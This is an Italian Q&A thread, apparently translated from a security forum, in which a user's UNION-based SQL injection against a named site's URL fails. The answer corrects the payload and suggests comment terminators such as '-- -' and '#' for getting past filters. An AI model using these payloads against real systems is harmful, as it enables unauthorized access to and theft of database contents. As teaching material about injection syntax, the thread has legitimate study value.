Cercando di capire come usare il commento in SQL injection

1

Sto cercando di inserire la query di base, ma penso che mi manchi come commentare la fine di quelle query.

I tough using # o --' funzionano ma sto ancora finendo con questo tipo di errore:

Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'TABLE user ;--' ORDER BY c2_.creationDate DESC' at line 1

Quindi qual è il modo corretto per aggirare tali sicurezza?

Che cosa sto facendo male quando ho scritto:

http://esgi-3.futest.com/subject/12%20UNION%20SELECT%20*%20FROM%20TABLE%20user%20;--'

E questo è l'intero errore che ottengo:

An exception occurred while executing 'SELECT s0_.text AS text, s0_.creationDate AS creationDate, s0_.private AS private, u1_.firstName AS firstName, u1_.lastName AS lastName, s0_.user AS user, c2_.userId AS userId24, c2_.subjectId AS subjectId25 FROM subject s0_ INNER JOIN user u1_ ON s0_.user = u1_.id LEFT JOIN comment c2_ ON s0_.id = c2_.subjectId LEFT JOIN user u3_ ON c2_.userId = u3_.id WHERE s0_.id = 12 UNION SELECT * FROM TABLE user ;--' ORDER BY c2_.creationDate DESC': SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'TABLE user ;--' ORDER BY c2_.creationDate DESC' at line 1

    
posta Baldráni 13.02.2017 - 11:06
fonte

1 risposta

3

Qui ci sono più errori:

  • La sintassi di un'istruzione select è SELECT [COLUMNS] FROM [TABLE] , ma stai scrivendo SELECT [COLUMNS] FROM TABLE [TABLE] .
  • Stai inserendo una ; , ma non è obbligatorio o valido per la maggior parte delle API.
  • Anche se puoi utilizzare * in una selezione unione, è altamente improbabile che entrambe le tabelle abbiano la stessa quantità di colonne, quindi probabilmente non funzionerà.
  • Hai ragione che non puoi semplicemente usare -- , ma avere per aggiungere un commento effettivo. Tuttavia, non utilizzerei ' . È probabile che sia valido, ma può essere filtrato, ecc. O utilizzare # o aggiungere una stringa diversa, ad esempio -- - , -- foobar ecc.

Dando questo, questo dovrebbe funzionare:

1 union select 1,2,3 from user -- -

Il conteggio delle colonne è probabilmente sbagliato e deve essere regolato da te.

    
risposta data 13.02.2017 - 11:39
fonte

Leggi altre domande sui tag